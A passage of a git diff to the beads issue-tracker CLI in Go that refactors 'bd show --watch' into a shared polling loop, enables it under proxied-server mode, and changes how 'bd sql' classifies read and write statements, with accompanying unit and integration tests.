t.Fatalf("parent stats disappeared: %v", err) + } else if string(got) != string(parentStats) { + t.Fatalf("flusher child overwrote the parent's MemStats: got %q, want %q", got, parentStats) + } + + // ...and the child's own diagnostics are still produced, just beside + // them. This is the half that distinguishes suffixing the destination + // from simply scrubbing the vars out of the child's environment, which + // would reinstate the inertness be-wwy2.2 removes. + requireHeapProfile(t, "flusher child BEADS_MEM_PROFILE", profilePath+".send-metrics") + childStats, err := os.ReadFile(statsPath + ".send-metrics") + if err != nil { + t.Fatalf("flusher child wrote no MemStats of its own: %v", err) + } + if !memStatsLine.Match(childStats) { + t.Fatalf("flusher child MemStats content = %q, want match of %s", childStats, memStatsLine) + } + }) + + t.Run("BEADS_MEM_PROFILE_NOGC is accepted and still writes the profile", func(t *testing.T) { + profilePath := filepath.Join(t.TempDir(), "heap.pprof") + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand) + cmd.Env = append(baseEnv(t.TempDir()), "BEADS_MEM_PROFILE="+profilePath, "BEADS_MEM_PROFILE_NOGC=1") + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd send-metrics: %v\noutput: %s", err, out) + } + if _, err := os.Stat(profilePath); err != nil { + t.Fatalf("BEADS_MEM_PROFILE file was not written under NOGC: %v", err) + } + }) + + t.Run("diagnostics still run and exit code is preserved when RunSendMetrics fails", func(t *testing.T) { + statsPath := filepath.Join(t.TempDir(), "stats.txt") + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand) + // Deliberately no HOME: DataDir()'s os.UserHomeDir() fails + // deterministically and offline, so RunSendMetrics() returns 1 before + // ever reaching the enabled/network checks. + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "BEADS_MEM_STATS=" + statsPath} + out, err := cmd.CombinedOutput() + exitErr, ok := err.(*exec.ExitError) + if !ok { + t.Fatalf("bd send-metrics: want a non-zero *exec.ExitError, got %v (%T)\noutput: %s", err, err, out) + } + if code := exitErr.ExitCode(); code != 1 { + t.Fatalf("bd send-metrics exit code = %d, want 1 (RunSendMetrics's own failure code, preserved through the fix)", code) + } + if _, statErr := os.Stat(statsPath); statErr != nil { + t.Fatalf("BEADS_MEM_STATS file was not written even though the command failed: %v", statErr) + } + }) +} diff --git a/cmd/bd/show.go b/cmd/bd/show.go index 14df5a081..c8c4db8d6 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -99,8 +99,7 @@ var showCmd = &cobra.Command{ if len(args) != 1 { return HandleErrorRespectJSON("watch mode requires exactly one issue ID") } - watchIssue(ctx, args[0]) - return nil + return watchIssue(ctx, args[0]) } if showThread { diff --git a/cmd/bd/show_display.go b/cmd/bd/show_display.go index a3e065604..8ff78de67 100644 --- a/cmd/bd/show_display.go +++ b/cmd/bd/show_display.go @@ -14,73 +14,109 @@ import ( "github.com/steveyegge/beads/internal/uimd" ) -// displayShowIssue displays a single issue (reusable for watch mode). -// Matches the full bd show output: header, metadata, content, labels, deps, comments. -func displayShowIssue(ctx context.Context, issueID string) { - displayShowIssueReturn(ctx, issueID) -} - // singleIssueSnapshot builds a comparable string from a single issue's state // so we can detect when the issue has changed between poll cycles. func singleIssueSnapshot(issue *types.Issue) string { return fmt.Sprintf("%s:%s:%d", issue.ID, issue.Status, issue.UpdatedAt.UnixNano()) } +// issueWatchSource is what a `bd show --watch` loop reads from. render draws +// the full view and returns the issue it drew, or nil when there was nothing to +// draw (it reports why itself); fetch re-reads the issue for the change check +// and must not print anything, since the loop owns what a failed poll means. +// The direct store and the proxied-server provider each supply one, so both +// routes share the snapshot, redraw and poll-failure rules below instead of +// copying them. +type issueWatchSource struct { + render func(ctx context.Context) *types.Issue + fetch func(ctx context.Context) (*types.Issue, error) +} + +// showWatchPollInterval is how often a watched issue is re-read. +const showWatchPollInterval = 2 * time.Second + // watchIssue polls for changes to an issue and auto-refreshes the display (GH#654). // Uses polling instead of fsnotify because Dolt stores data in a server-side // database, not files — file watchers never fire. -func watchIssue(ctx context.Context, issueID string) { - // Initial display and snapshot - issue := displayShowIssueReturn(ctx, issueID) +func watchIssue(ctx context.Context, issueID string) error { + return runIssueWatch(ctx, issueWatchSource{ + render: func(ctx context.Context) *types.Issue { return displayShowIssueReturn(ctx, issueID) }, + fetch: func(ctx context.Context) (*types.Issue, error) { return fetchIssue(ctx, issueID) }, + }) +} + +// runIssueWatch drives watchIssueLoop on a real ticker until Ctrl+C or SIGTERM. +// It fails when the initial render found nothing to watch; the render has +// already said why, so the failure is silent. +func runIssueWatch(ctx context.Context, src issueWatchSource) error { + // Deferred Stop prevents signal handler leak + sigChan := make(chan os.Signal, 1) + signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) + defer signal.Stop(sigChan) + + ticker := time.NewTicker(showWatchPollInterval) + defer ticker.Stop() + + if !watchIssueLoop(ctx, src, ticker.C, sigChan) { + return SilentExit() + } + return nil +} + +// watchIssueLoop renders the issue once, then on every tick re-reads it and +// redraws only when singleIssueSnapshot changes. A poll that fails — the +// issue was deleted, the backend blipped, a unit of work would not open — keeps +// the last render on screen and is retried on the next tick without printing: +// the watch is a live view, and a line (or, under --json, an error object) on +// every tick for a condition the user can already see would bury it. It +// returns when stop fires, or immediately, reporting false, when the initial +// render found nothing to watch. +func watchIssueLoop(ctx context.Context, src issueWatchSource, tick <-chan time.Time, stop <-chan os.Signal) bool { + issue := src.render(ctx) if issue == nil { - return + return false } lastSnapshot := singleIssueSnapshot(issue) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") - // Handle Ctrl+C — deferred Stop prevents signal handler leak - sigChan := make(chan os.Signal, 1) - signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) - defer signal.Stop(sigChan) - - pollInterval := 2 * time.Second - ticker := time.NewTicker(pollInterval) - defer ticker.Stop() - for { select { - case <-sigChan: + case <-stop: fmt.Fprintf(os.Stderr, "\nStopped watching.\n") - return - case <-ticker.C: - issue := fetchIssue(ctx, issueID) - if issue == nil { + return true + case <-tick: + issue, err := src.fetch(ctx) + if err != nil || issue == nil { continue } snap := singleIssueSnapshot(issue) if snap != lastSnapshot { lastSnapshot = snap - displayShowIssue(ctx, issueID) + src.render(ctx) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") } } } } -// fetchIssue retrieves a single issue by ID, returning nil on error. -func fetchIssue(ctx context.Context, issueID string) *types.Issue { +// fetchIssue retrieves a single issue by ID without printing anything. +func fetchIssue(ctx context.Context, issueID string) (*types.Issue, error) { result, err := resolveAndGetIssueWithRouting(ctx, store, issueID) if result != nil { defer result.Close() } - if err != nil || result == nil || result.Issue == nil { - return nil + if err != nil { + return nil, err } - return result.Issue + if result == nil || result.Issue == nil { + return nil, fmt.Errorf("issue %s not found", issueID) + } + return result.Issue, nil } // displayShowIssueReturn displays a single issue and returns it for snapshot use. +// Matches the full bd show output: header, metadata, content, labels, deps, comments. func displayShowIssueReturn(ctx context.Context, issueID string) *types.Issue { result, err := resolveAndGetIssueWithRouting(ctx, store, issueID) if result != nil { diff --git a/cmd/bd/show_embedded_test.go b/cmd/bd/show_embedded_test.go index c7d055d1e..522348480 100644 --- a/cmd/bd/show_embedded_test.go +++ b/cmd/bd/show_embedded_test.go @@ -3,13 +3,16 @@ package main import ( + "context" "encoding/json" + "errors" "fmt" "os" "os/exec" "strings" "sync" "testing" + "time" "github.com/steveyegge/beads/internal/types" ) @@ -148,6 +151,28 @@ func TestEmbeddedShow(t *testing.T) { bdShowFail2(t, bd, dir, "ts-nonexistent999") }) + // A watch on an id that does not exist used to print "Issue not found" + // and exit 0 on this route, watching nothing. It now exits 1 like plain + // `bd show `, and like the proxied route. + t.Run("show_watch_nonexistent_id_exits_1", func(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel() + cmd := exec.CommandContext(ctx, bd, "show", "ts-nonexistent999", "--watch") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + out, err := cmd.CombinedOutput() + if ctx.Err() != nil { + t.Fatalf("bd show --watch on a missing id kept watching:\n%s", out) + } + var exitErr *exec.ExitError + if !errors.As(err, &exitErr) || exitErr.ExitCode() != 1 { + t.Fatalf("bd show --watch on a missing id: err=%v, want exit 1\n%s", err, out) + } + if !strings.Contains(string(out), "ts-nonexistent999") { + t.Errorf("output does not name the missing id:\n%s", out) + } + }) + t.Run("show_no_args", func(t *testing.T) { bdShowFail2(t, bd, dir) }) diff --git a/cmd/bd/show_proxied_integration_test.go b/cmd/bd/show_proxied_integration_test.go index b31bc6dad..0dc2c961d 100644 --- a/cmd/bd/show_proxied_integration_test.go +++ b/cmd/bd/show_proxied_integration_test.go @@ -908,17 +908,6 @@ func TestProxiedServerShow3(t *testing.T) { } }) - t.Run("show_watch_rejected_in_proxied_mode", func(t *testing.T) { - t.Parallel() - p := newSharedProxiedProject(t, bd, "swt") - issue := bdProxiedCreate(t, bd, p.dir, "Watch test", "--type", "task") - stdout, stderr := bdProxiedShowFail(t, bd, p.dir, issue.ID, "--watch") - combined := stdout + stderr - if !strings.Contains(combined, "watch mode not supported in proxied-server mode") { - t.Errorf("expected proxied watch-rejection error, got: %s", combined) - } - }) - t.Run("show_wisp_comments_default_count_only", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "swcc") diff --git a/cmd/bd/show_proxied_server.go b/cmd/bd/show_proxied_server.go index 8c3bd0b4b..fee04107b 100644 --- a/cmd/bd/show_proxied_server.go +++ b/cmd/bd/show_proxied_server.go @@ -94,19 +94,47 @@ func proxiedIssueReader() (issueops.Reader, error) { func runShowProxiedServer(cmd *cobra.Command, ctx context.Context, args []string) error { in := gatherShowProxiedInput(cmd, args) - if in.watchMode { - // Defense in depth, like create's --repo fallback: the pre-provider - // gate refuses `show --watch` first. Typed so all three refusals render - // identically if one ever becomes reachable. - return HandleProxyCapabilityError(AssertProxyCommandCapability("show", ProxyModeProxied, ProxyCapWatch)) - } - uw, err := proxiedOpenReadUOW(ctx) if err != nil { return err } + + if err := resolveShowProxiedIDs(ctx, uw, in); err != nil { + uw.Close(ctx) + return err + } + + // Same precedence as the direct route: --as-of answers a point-in-time + // read, which has nothing to watch. + if in.watchMode && in.asOfRef == "" { + // The watch opens a fresh unit of work per poll; holding this one + // would pin a transaction for as long as the user watches. + uw.Close(ctx) + if len(in.ids) != 1 { + return HandleErrorRespectJSON("watch mode requires exactly one issue ID") + } + return runIssueWatch(ctx, proxiedIssueWatchSource(in)) + } defer uw.Close(ctx) + switch { + case in.asOfRef != "": + runShowProxiedAsOf(ctx, uw, in) + case in.thread: + return runShowProxiedThread(ctx, uw, in) + case in.refs: + runShowProxiedRefs(ctx, uw, in) + case in.children: + runShowProxiedChildren(ctx, uw, in) + default: + return runShowProxiedDefault(ctx, uw, in) + } + return nil +} + +// resolveShowProxiedIDs turns --current into an explicit id and rejects an +// empty id list, the same checks the direct route makes before dispatching. +func resolveShowProxiedIDs(ctx context.Context, uw uow.UnitOfWork, in *showProxiedInput) error { if in.currentMode { if len(in.ids) > 0 { return HandleErrorRespectJSON("--current cannot be combined with explicit issue IDs") @@ -121,19 +149,6 @@ func runShowProxiedServer(cmd *cobra.Command, ctx context.Context, args []string if len(in.ids) == 0 { return HandleErrorRespectJSON("at least one issue ID is required (use positional args, --id flag, or --current)") } - - switch { - case in.asOfRef != "": - runShowProxiedAsOf(ctx, uw, in) - case in.thread: - return runShowProxiedThread(ctx, uw, in) - case in.refs: - runShowProxiedRefs(ctx, uw, in) - case in.children: - runShowProxiedChildren(ctx, uw, in) - default: - return runShowProxiedDefault(ctx, uw, in) - } return nil } @@ -507,9 +522,10 @@ func proxiedRenderIssue(ctx context.Context, uw uow.UnitOfWork, issue *types.Iss // A READ on an ALTERNATE view. `bd show`'s detail view is on // issueops.Reader on both routes and gets its labels hydrated there; this - // renderer serves --refs, --children, --thread and --as-of, which answer - // with shapes the Reader contract does not describe, from a unit of work - // the caller already holds and has already read the issue from. Asking the + // renderer serves the text views the Reader contract does not describe — + // --refs, --children, --thread, --as-of, and every render of --watch + // (show_proxied_watch.go) — from a unit of work the caller already holds + // and has already read the issue from. Asking the // role here would open a second transaction to re-fetch a row this function // was handed. Alternate views reaching roles of their own is the follow-up // (ga-2ltro.12). diff --git a/cmd/bd/show_proxied_watch.go b/cmd/bd/show_proxied_watch.go new file mode 100644 index 000000000..16e97f663 --- /dev/null +++ b/cmd/bd/show_proxied_watch.go @@ -0,0 +1,57 @@ +package main + +import ( + "context" + "errors" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" +) + +// proxiedIssueWatchSource feeds `bd show --watch` from the proxied-server +// provider. Every render and every poll opens its own short unit of work, so a +// long watch never pins a transaction and each read sees the latest commit. +// After the first render the resolved id is used, so a partial id is resolved +// once, as the direct route's first render does. +func proxiedIssueWatchSource(in *showProxiedInput) issueWatchSource { + id := in.ids[0] + formatTime := func(t time.Time) string { + if in.localTime { + t = t.Local() + } + return t.Format("2006-01-02 15:04") + } + return issueWatchSource{ + render: func(ctx context.Context) *types.Issue { + uw, err := proxiedOpenReadUOW(ctx) + if err != nil { + return nil + } + defer uw.Close(ctx) + issue, isWisp, err := workapi.GetIssueOrWisp(ctx, workapi.NewUOWDetailSource(uw), id) + if err != nil { + reportIssueLookupFailure("fetching", id, err) + return nil + } + id = issue.ID + proxiedRenderIssue(ctx, uw, issue, isWisp, in, 0, formatTime) + return issue + }, + // Opens its unit of work directly rather than through + // proxiedOpenReadUOW, which reports its own failure: a poll must stay + // silent and leave the verdict to watchIssueLoop. + fetch: func(ctx context.Context) (*types.Issue, error) { + if uowProvider == nil { + return nil, errors.New("proxied-server UOW provider not initialized") + } + uw, err := uowProvider.NewUOW(ctx) + if err != nil { + return nil, err + } + defer uw.Close(ctx) + issue, _, err := workapi.GetIssueOrWisp(ctx, workapi.NewUOWDetailSource(uw), id) + return issue, err + }, + } +} diff --git a/cmd/bd/show_proxied_watch_integration_test.go b/cmd/bd/show_proxied_watch_integration_test.go new file mode 100644 index 000000000..76cd72f23 --- /dev/null +++ b/cmd/bd/show_proxied_watch_integration_test.go @@ -0,0 +1,216 @@ +//go:build cgo + +package main + +import ( + "bytes" + "os/exec" + "strings" + "sync" + "syscall" + "testing" + "time" +) + +// watchBannerWriter buffers a stream and signals every time the watch banner +// is printed, so a test can wait for the Nth render instead of sleeping. +type watchBannerWriter struct { + mu sync.Mutex + buf bytes.Buffer + count int + renders chan int +} + +const showWatchBanner = "Watching for changes..." + +func (w *watchBannerWriter) Write(p []byte) (int, error) { + w.mu.Lock() + defer w.mu.Unlock() + n, err := w.buf.Write(p) + if now := strings.Count(w.buf.String(), showWatchBanner); now > w.count { + w.count = now + select { + case w.renders <- now: + default: + } + } + return n, err +} + +func (w *watchBannerWriter) String() string { + w.mu.Lock() + defer w.mu.Unlock() + return w.buf.String() +} + +// waitForRender blocks until the banner has been printed at least want times, +// giving up when the process exits or the timeout elapses. +func (w *watchBannerWriter) waitForRender(want int, timeout time.Duration, exited <-chan struct{}) bool { + deadline := time.After(timeout) + for { + w.mu.Lock() + got := w.count + w.mu.Unlock() + if got >= want { + return true + } + select { + case <-w.renders: + case <-exited: + w.mu.Lock() + defer w.mu.Unlock() + return w.count >= want + case <-deadline: + return false + } + } +} + +// TestProxiedServerShowWatch pins `bd show --watch` under --proxied-server to +// the direct route's contract: render once, redraw when the issue's +// status/updated_at snapshot changes, and stop cleanly on SIGINT. Proxied mode +// used to refuse it outright (proxy.watch.unsupported), so every consumer on +// the default proxied transport had to reimplement the poll itself. +func TestProxiedServerShowWatch(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + t.Run("redraws_on_change_and_stops_on_interrupt", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "swr") + issue := bdProxiedCreate(t, bd, p.dir, "Watch me", "--type", "task") + + var stdout bytes.Buffer + stderr := &watchBannerWriter{renders: make(chan int, 1)} + cmd := exec.Command(bd, "show", issue.ID, "--watch") + cmd.Dir = p.dir + cmd.Env = bdProxiedEnv(p.dir) + cmd.Stdout = &stdout + cmd.Stderr = stderr + if err := cmd.Start(); err != nil { + t.Fatalf("start bd show --watch: %v", err) + } + var waitErr error + exited := make(chan struct{}) + go func() { + waitErr = cmd.Wait() + close(exited) + }() + t.Cleanup(func() { + _ = cmd.Process.Kill() + <-exited + }) + + if !stderr.waitForRender(1, 60*time.Second, exited) { + t.Fatalf("bd show --watch never started watching\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) + } + if strings.Contains(stderr.String(), "not supported") { + t.Fatalf("bd show --watch refused under --proxied-server:\n%s", stderr.String()) + } + + bdProxiedUpdateOne(t, bd, p.dir, issue.ID, "--status", "in_progress") + + if !stderr.waitForRender(2, 60*time.Second, exited) { + t.Fatalf("bd show --watch did not redraw after the status change\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) + } + + if err := cmd.Process.Signal(syscall.SIGINT); err != nil { + t.Fatalf("signal bd show --watch: %v", err) + } + select { + case <-exited: + if waitErr != nil { + t.Fatalf("bd show --watch exited with %v after SIGINT, want 0\nstderr:\n%s", waitErr, stderr.String()) + } + case <-time.After(30 * time.Second): + t.Fatalf("bd show --watch ignored SIGINT\nstderr:\n%s", stderr.String()) + } + if !strings.Contains(stderr.String(), "Stopped watching.") { + t.Errorf("stderr lacks the stop line:\n%s", stderr.String()) + } + + out := stdout.String() + if got := strings.Count(out, "Watch me"); got < 2 { + t.Errorf("stdout rendered the issue %d time(s), want an initial render and a redraw:\n%s", got, out) + } + if !strings.Contains(strings.ToUpper(out), "IN_PROGRESS") { + t.Errorf("redraw does not show the new status:\n%s", out) + } + }) + + // A poll that fails keeps the last render and prints nothing: the route + // used to print "Error refreshing " every 2s once the issue was + // deleted, and under --json an error object on stdout each time. + t.Run("deleted_issue_polls_stay_quiet", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "swd") + issue := bdProxiedCreate(t, bd, p.dir, "Watch then delete", "--type", "task") + + // Locked: stdout is read while the child is still writing to it. + stdout := &watchBannerWriter{renders: make(chan int, 1)} + stderr := &watchBannerWriter{renders: make(chan int, 1)} + cmd := exec.Command(bd, "--json", "show", issue.ID, "--watch") + cmd.Dir = p.dir + cmd.Env = bdProxiedEnv(p.dir) + cmd.Stdout = stdout + cmd.Stderr = stderr + if err := cmd.Start(); err != nil { + t.Fatalf("start bd show --watch: %v", err) + } + exited := make(chan struct{}) + go func() { + _ = cmd.Wait() + close(exited) + }() + t.Cleanup(func() { + _ = cmd.Process.Kill() + <-exited + }) + + if !stderr.waitForRender(1, 60*time.Second, exited) { + t.Fatalf("bd show --watch never started watching\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) + } + before := len(stdout.String()) + bdProxiedDelete(t, bd, p.dir, issue.ID, "--force") + + // Several poll intervals, so a per-tick report would have fired. + select { + case <-exited: + t.Fatalf("bd show --watch exited after the issue was deleted\nstderr:\n%s", stderr.String()) + case <-time.After(3 * showWatchPollInterval): + } + if after := stdout.String()[before:]; after != "" { + t.Errorf("stdout grew after the delete:\n%s", after) + } + if strings.Contains(stderr.String(), "Error") || strings.Contains(stderr.String(), "not found") { + t.Errorf("stderr reported the failed polls:\n%s", stderr.String()) + } + }) + + t.Run("missing_id_fails_instead_of_watching", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "swm") + stdout, stderr, err, timedOut := bdProxiedRunDeadline(t, bd, p.dir, 60*time.Second, "show", "swm-nonexistent999", "--watch") + if timedOut { + t.Fatalf("bd show --watch on a missing id kept watching\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if err == nil { + t.Fatalf("bd show --watch on a missing id exited 0\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if want := "Issue swm-nonexistent999 not found"; !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want it to contain %q", stderr, want) + } + }) + + t.Run("requires_exactly_one_id", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "swo") + a := bdProxiedCreate(t, bd, p.dir, "Watch A", "--type", "task") + b := bdProxiedCreate(t, bd, p.dir, "Watch B", "--type", "task") + stdout, stderr := bdProxiedShowFail(t, bd, p.dir, a.ID, b.ID, "--watch") + if combined := stdout + stderr; !strings.Contains(combined, "watch mode requires exactly one issue ID") { + t.Errorf("want the direct route's one-id error, got:\n%s", combined) + } + }) +} diff --git a/cmd/bd/show_watch_loop_test.go b/cmd/bd/show_watch_loop_test.go new file mode 100644 index 000000000..d45b75c08 --- /dev/null +++ b/cmd/bd/show_watch_loop_test.go @@ -0,0 +1,152 @@ +package main + +import ( + "context" + "errors" + "os" + "slices" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" +) + +// watchPoll is one scripted fetch result. +type watchPoll struct { + issue *types.Issue + err error +} + +// scriptedWatchSource replays a fixed sequence of fetch results and counts +// renders, so the loop's redraw rule can be checked without a store. +type scriptedWatchSource struct { + initial *types.Issue + polls []watchPoll + renders int + // rendersAtFetch records the render count as each poll starts, i.e. the + // result of the poll before it. Written only on the loop's goroutine and + // read after the loop returns. + rendersAtFetch []int +} + +func (s *scriptedWatchSource) source() issueWatchSource { + return issueWatchSource{ + render: func(context.Context) *types.Issue { + s.renders++ + return s.initial + }, + fetch: func(context.Context) (*types.Issue, error) { + s.rendersAtFetch = append(s.rendersAtFetch, s.renders) + next := s.polls[0] + s.polls = s.polls[1:] + return next.issue, next.err + }, + } +} + +// driveWatchLoop runs the loop over src for every scripted poll, stops it, and +// returns whether it reported watching plus everything it wrote to stderr. +func driveWatchLoop(t *testing.T, src *scriptedWatchSource) (bool, string) { + t.Helper() + polls := len(src.polls) + var watched bool + stderr := captureStderr(t, func() { + tick := make(chan time.Time) + stop := make(chan os.Signal, 1) + done := make(chan bool) + go func() { done <- watchIssueLoop(context.Background(), src.source(), tick, stop) }() + // tick is unbuffered, so each send lands only once the loop is back in + // its select, i.e. after the previous poll (and any redraw) finished. + for range polls { + tick <- time.Time{} + } + stop <- os.Interrupt + watched = <-done + }) + return watched, stderr +} + +// TestWatchIssueLoopRedrawsOnlyOnSnapshotChange pins the redraw rule both +// `bd show --watch` routes share: an unchanged snapshot or a failed read does +// not redraw, a status or updated_at change does, and stop ends the loop. +func TestWatchIssueLoopRedrawsOnlyOnSnapshotChange(t *testing.T) { + base := time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC) + open := &types.Issue{ID: "w-1", Status: types.StatusOpen, UpdatedAt: base} + sameAgain := &types.Issue{ID: "w-1", Status: types.StatusOpen, UpdatedAt: base} + inProgress := &types.Issue{ID: "w-1", Status: types.StatusInProgress, UpdatedAt: base.Add(time.Second)} + touched := &types.Issue{ID: "w-1", Status: types.StatusInProgress, UpdatedAt: base.Add(2 * time.Second)} + + src := &scriptedWatchSource{ + initial: open, + polls: []watchPoll{ + {issue: sameAgain}, + {err: errors.New("backend blip")}, + {issue: inProgress}, + {issue: inProgress}, + {issue: touched}, + }, + } + watched, _ := driveWatchLoop(t, src) + if !watched { + t.Fatal("watchIssueLoop reported nothing watched after a successful render") + } + // Poll order: unchanged, failed read, status change, unchanged, + // updated_at change. + if want := []int{1, 1, 1, 2, 2}; !slices.Equal(src.rendersAtFetch, want) { + t.Fatalf("renders before each poll = %v, want %v", src.rendersAtFetch, want) + } + if src.renders != 3 { + t.Fatalf("renders = %d, want 3 (initial, status change, updated_at change)", src.renders) + } +} + +// TestWatchIssueLoopFailedPollsStayQuiet pins the poll-failure rule both routes +// share: a poll that fails (a deleted issue, a unit of work that will not open) +// keeps the last render and prints nothing, however many ticks it lasts, and a +// later successful poll with a change redraws as usual. The proxied route used +// to print an error line — under --json, an error object — on every tick. +func TestWatchIssueLoopFailedPollsStayQuiet(t *testing.T) { + base := time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC) + open := &types.Issue{ID: "w-2", Status: types.StatusOpen, UpdatedAt: base} + closed := &types.Issue{ID: "w-2", Status: types.StatusClosed, UpdatedAt: base.Add(time.Second)} + + src := &scriptedWatchSource{ + initial: open, + polls: []watchPoll{ + {err: errors.New("issue w-2 not found")}, + {err: errors.New("open unit of work: connection refused")}, + {err: errors.New("issue w-2 not found")}, + {issue: closed}, + }, + } + watched, stderr := driveWatchLoop(t, src) + if !watched { + t.Fatal("watchIssueLoop reported nothing watched after a successful render") + } + if strings.Contains(stderr, "not found") || strings.Contains(stderr, "connection refused") || strings.Contains(stderr, "Error") { + t.Fatalf("failed polls printed to stderr:\n%s", stderr) + } + // Initial banner, the redraw's banner after the recovery, and the stop line. + if got := strings.Count(stderr, "Watching for changes..."); got != 2 { + t.Fatalf("banner printed %d times, want 2 (initial + one redraw):\n%s", got, stderr) + } + if src.renders != 2 { + t.Fatalf("renders = %d, want 2 (initial, redraw after recovery)", src.renders) + } +} + +// TestWatchIssueLoopStopsWhenNothingToWatch pins that a failed initial render +// returns at once rather than polling an issue that was never shown. +func TestWatchIssueLoopStopsWhenNothingToWatch(t *testing.T) { + src := issueWatchSource{ + render: func(context.Context) *types.Issue { return nil }, + fetch: func(context.Context) (*types.Issue, error) { + t.Fatal("fetch called after a failed initial render") + return nil, nil + }, + } + if watchIssueLoop(context.Background(), src, make(chan time.Time), make(chan os.Signal)) { + t.Fatal("watchIssueLoop reported watching after a failed initial render") + } +} diff --git a/cmd/bd/sql.go b/cmd/bd/sql.go index 366072bc6..34dedfe09 100644 --- a/cmd/bd/sql.go +++ b/cmd/bd/sql.go @@ -9,6 +9,7 @@ import ( "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/sqlclass" ) var sqlCmd = &cobra.Command{ @@ -25,9 +26,11 @@ Examples: bd sql 'DELETE FROM dirty_issues WHERE issue_id = "bd-abc123"' bd sql --csv 'SELECT id, title, status FROM issues' -The query is passed directly to the database. SELECT queries return results as a -table (or JSON/CSV with --json/--csv). Non-SELECT queries (INSERT, UPDATE, DELETE) -report the number of rows affected. +The query is passed directly to the database. Reads (SELECT, WITH ... SELECT, +SHOW, EXPLAIN) return results as a table (or JSON/CSV with --json/--csv). Writes +(INSERT, UPDATE, DELETE, DDL) report the number of rows affected. Statements +that may both write and return rows, such as CALL, are committed and print any +rows they return (or "OK"). In proxied-server mode, multiple statements separated by ';' run as a single committed batch and report "OK", and --database runs the query against a @@ -71,15 +74,13 @@ WARNING: Direct database access bypasses the storage layer. Use with caution.`, ctx := rootCtx - trimmed := strings.TrimSpace(strings.ToUpper(query)) - isRead := strings.HasPrefix(trimmed, "SELECT") || - strings.HasPrefix(trimmed, "EXPLAIN") || - strings.HasPrefix(trimmed, "PRAGMA") || - strings.HasPrefix(trimmed, "SHOW") || - strings.HasPrefix(trimmed, "DESCRIBE") || - strings.HasPrefix(trimmed, "WITH") - - if isRead { + // Reads and statements that may return rows go through Query so a + // result set is always rendered; only plain writes use Exec. + kind := sqlclass.Classify(query) + if kind != sqlclass.Write { + if kind == sqlclass.Mixed { + CheckReadonly("sql") + } rows, err := db.QueryContext(ctx, query) if err != nil { return HandleErrorRespectJSON("query error: %v", err) @@ -90,6 +91,9 @@ WARNING: Direct database access bypasses the storage layer. Use with caution.`, if err != nil { return HandleErrorRespectJSON("getting columns: %v", err) } + if kind == sqlclass.Mixed && len(columns) == 0 { + return printSQLStatusOK() + } allRows := make([]map[string]interface{}, 0) for rows.Next() { diff --git a/cmd/bd/sql_proxied_integration_test.go b/cmd/bd/sql_proxied_integration_test.go index 89bb6ec0d..6dec9e7f0 100644 --- a/cmd/bd/sql_proxied_integration_test.go +++ b/cmd/bd/sql_proxied_integration_test.go @@ -179,3 +179,80 @@ func sqlValueEquals(v any, want float64) bool { return false } } + +// TestProxiedServerSQLStatementRouting pins how proxied `bd sql` routes +// statements that a prefix scan misreads: CTE reads must return their rows, +// CTE writes must commit, and a statement that writes and returns a result set +// must render that result set instead of reporting "0 rows affected". +func TestProxiedServerSQLStatementRouting(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "sqlcte") + + one := bdProxiedCreate(t, bd, p.dir, "CTE issue one", "--type", "task", "--priority", "1") + two := bdProxiedCreate(t, bd, p.dir, "CTE issue two", "--type", "task", "--priority", "2") + + t.Run("cte_column_list_select_returns_rows", func(t *testing.T) { + rows := bdProxiedSQLJSON(t, bd, p.dir, + "WITH t(issue_id) AS (SELECT id FROM issues WHERE id = '"+one.ID+"') SELECT issue_id FROM t") + if len(rows) != 1 { + t.Fatalf("expected 1 row, got %d: %v", len(rows), rows) + } + if rows[0]["issue_id"] != one.ID { + t.Errorf("expected issue_id=%q, got %v", one.ID, rows[0]["issue_id"]) + } + }) + + t.Run("recursive_cte_select_returns_rows", func(t *testing.T) { + query := "WITH RECURSIVE n(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM n WHERE i < 3) SELECT i FROM n" + rows := bdProxiedSQLJSON(t, bd, p.dir, query) + if len(rows) != 3 { + t.Fatalf("expected 3 rows, got %d: %v", len(rows), rows) + } + stdout, _ := bdProxiedSQL(t, bd, p.dir, query) + if !strings.Contains(stdout, "(3 rows)") { + t.Errorf("expected '(3 rows)' in table output, got:\n%s", stdout) + } + }) + + t.Run("cte_write_commits", func(t *testing.T) { + stdout, _ := bdProxiedSQL(t, bd, p.dir, "--json", + "WITH t(issue_id) AS (SELECT id FROM issues WHERE id = '"+two.ID+"') "+ + "UPDATE issues SET priority = 0 WHERE id IN (SELECT issue_id FROM t)") + start := strings.Index(stdout, "{") + if start < 0 { + t.Fatalf("no JSON object in exec 